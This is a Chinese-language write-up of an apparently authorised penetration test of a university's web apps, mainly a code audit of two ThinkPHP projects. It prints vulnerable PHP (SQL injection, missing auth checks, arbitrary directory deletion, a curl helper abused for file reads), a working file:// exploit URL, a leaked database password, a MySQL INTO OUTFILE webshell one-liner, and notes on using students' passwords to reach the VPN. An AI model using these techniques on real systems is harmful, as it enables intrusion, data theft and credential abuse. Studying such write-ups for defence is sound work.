实战 | 通过代码审计完成的渗透

前言

这是一次针对某高校的授权安全测试，只给了目标学校的名字，所有资产自行收集。

信息收集无非老三样，百度、子域名、C端。

通过百度，我们找到了目标学校的域名example.edu.cn，首先使用百度搜索目标相关站点，尝试发现脆弱站点。

接下来利用railgun对各个域名进行目录扫描，结果收获不小。

很意外的扫描发现某站点存在备份文件泄露的问题，网站源码被打包后存放在根目录下/www.rar。

下载以后得到了如下源码

其中压缩包里打了三个名字很奇怪的文件，想想就觉得可疑。打开以后可以发现这是通过phpmyadmin全局日志备份拿到的webshell

复制链接放入菜刀拿到shell

结束

不行，shell被删掉了。

而网站其他目录是两个thinkphp框架的公众号后端以及一个phpmyadmin。

我们可以从thinkphp数据库配置文件读到mysql账号信息，为root/root。登录phpmyadmin导出文件拿到shell

结束

当然不行，网络管理员还是挺称职的（除了源码备份留到根目录）。他发现根目录的webshell以后，分析出黑客是通过mysql弱口令进入phpmyadmin拿到webshell，于是修改了mysql密码。

至此，我们渗透目标站点只有一条思路--->审计代码。

---

项目一

项目一只有两个API调用，项目路由如下

0x00 SQL注入

首先我们查看一下thinkphp版本。

3.1.3除了注入不存在RCE以及其他威胁安全的漏洞。

我们需要具体去看MVC中controller的实现来发现问题。

目标站点的两个wx_xxxx_rtm是两个不同的thinkphp项目，其中interface为接口，只有两个Controller

<?php  //indexController
class IndexAction extends PublicAction{
        // 首页
        public function index () {          
            $cate = new Model("content");
            $sql = "Select  c.CONTENT_ID,c. SORT_DATE ,a.TITLE, a.AUTHOR, a.RELEASE_DATE,b.TXT from jc_content c left join jc_content_ext   a on a. CONTENT_ID =c. CONTENT_ID left join jc_content_txt  b on b. CONTENT_ID =c. CONTENT_ID where c. CONTENT_ID in (select CONTENT_ID from jc_content_channel where channel_id in (75,76))  and c.status=2 order by c. SORT_DATE desc";
            echo json_encode($cate->query($sql));
        }
        public function content () {
            $id = $_GET['id'];
            $cate = new Model("content");
            $sql = "Select  c.CONTENT_ID,c. SORT_DATE ,a.TITLE, a.AUTHOR, a.RELEASE_DATE,b.TXT from jc_content c left join jc_content_ext   a on a. CONTENT_ID =c. CONTENT_ID left join jc_content_txt  b on b. CONTENT_ID =c. CONTENT_ID where  c.CONTENT_ID=".$id." and c.status=2 order by c. SORT_DATE desc";
            echo json_encode($cate->query($sql));
        }
}

可以很清楚的看到content方法直接把id拼入sql查询语句，存在sql注入。当然我们不只想要sql注入，很多时候加盐就能解决很多问题。

0x01 难以利用的请求伪造

而publicAction包含几个工具函数

private function httpGet($url) {
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl, CURLOPT_TIMEOUT, 500);
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);

$res = curl_exec($curl);
if ($res === FALSE) {
echo "cURL Error: " . curl_error($curl);
}
curl_close($curl);
return $res;
}

其中httpGet函数很明显，存在csrf漏洞。但因为被private修饰，没办法直接调用。跳过

项目二

项目二使用了同样的thinkphp版本，但包含了完善的前台、后台、API等功能，猜测很大概率存在一定漏洞。

项目结构如下

0x00 未授权访问

阅读代码可以发现这个系统的开发者似乎并不理解thinkphp的权限验证模式。

通常来说，thinkphp在需要权限验证的模块会创建一个基类，在基类初始化的方法中验证用户权限。我们只需要让需要权限验证的类继承该权限验证类即可。而这个开发者似乎并不能始终记住这一点。

class PublicAction extends Action {
        //验证登陆的初始方法
        public function _initialize () {
            $name = session("name");
            if(!$name){
                $this->redirect('Admin/Index/login');
            }
        }

我们可以看到他定义了相关的权限验证基类，但是实际上在后台某些模块并没有继承该类。

class AdminUserAction extends PublicAction 
class CommentAction extends Action
class NewsAction extends Action
class OrderAction extends Action
class SystemAction extends Action
    ...

有很多类都没有使用权限验证，造成了未授权访问

0x01任意文件删除

在admin模块下的SystemAction模块存在删除文件夹方法

public function rmdirr($dirname) {
            if (!file_exists($dirname)) {
                return false;
            }
            if (is_file($dirname) || is_link($dirname)) {
                return unlink($dirname);
            }
            $dir = dir($dirname);
            if($dir){
                while (false !== $entry = $dir->read()) {
                    if ($entry == '.' || $entry == '..') {
                        continue;
                    }
                    //递归
                    $this->rmdirr($dirname . DIRECTORY_SEPARATOR . $entry);
                }
            }
            $dir->close();
            return rmdir($dirname);
        }

该方法是一个public方法，可以直接被外部访问。我们通过未授权可以删除目标站点的文件夹。

0x02 请求伪造

在index/PublicAction/定义了几个调用CURL的助手函数，并且为public属性，直接导致了CSRF漏洞。

public function getCurl ($url) {
            //初始化
            $ch = curl_init();
            //设置选项，包括URL
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_HEADER, 0);

//执行并获取HTML文档内容
$output = curl_exec($ch);
//释放curl句柄
curl_close($ch);
//返回获得的数据
return $output;
}
//curl模拟post请求
public function postCurl ($url,$post_data) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// post数据
curl_setopt($ch, CURLOPT_POST, 1);
// post的变量
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$output = curl_exec($ch);
curl_close($ch);
//打印获得的数据
print_r($output);
}
//模拟登录
function login_get($url, $cookie) {
$curl = curl_init();//初始化curl模块
curl_setopt($curl, CURLOPT_URL, $url);//登录提交的地址
curl_setopt($curl, CURLOPT_HEADER, 0);//是否显示头信息
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);//是否自动显示返回的信息
curl_setopt($curl, CURLOPT_COOKIEJAR, $cookie); //设置Cookie信息保存在指定的文件中
curl_exec($curl);//执行cURL
curl_close($curl);//关闭cURL资源，并且释放系统资源
}
//登录成功后获取数据
function get_content($url, $cookie) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie); //读取cookie
$rs = curl_exec($ch); //执行cURL抓取页面内容
curl_close($ch);
return $rs;
}

其中只有postCurl会将访问结果打印出来，我们于是可以调用postCurl方法利用伪协议读取任意文件。当然首先目标就是database config。

目标要求传入两个参数url、postdata，我们都可以通过get方法把数据提交，最终构造EXP如下

http://*.*.*.*/wx_xxxxxx_rtm/index.php/Index/Search/postcurl?url=file://D:WWWwx_xxxxxx_rtmAppConfconfig.php&post_data=1
//伪协议可以使用相对路径，使用绝对路径是因为最开始调试时存在莫名问题未能成功。绝对路径利用thinkphp debug模式的报错拿到。

'DB_USER'   => 'root', // 用户名
    'DB_PWD'    => '123456789@abc', // 密码

拿到数据库密码进入phpmyadmin直接查询select '<?php eval($_GET[0]);?>' into outfile 'D:\WWW\1.php';拿到shell

后续

目标站点的web服务为system权限，但始终无法上线CS（已经免杀），只能换条路进行内网渗透。

数据库发现了一些学生用户的明文密码，利用学生用户密码我们登录进VPN。发现VPN没有进行任何的隔离，可以直接对整个学校内网进行渗透，具体便不再细谈。

原文始发于微信公众号（渗透安全团队）：实战 | 通过代码审计完成的渗透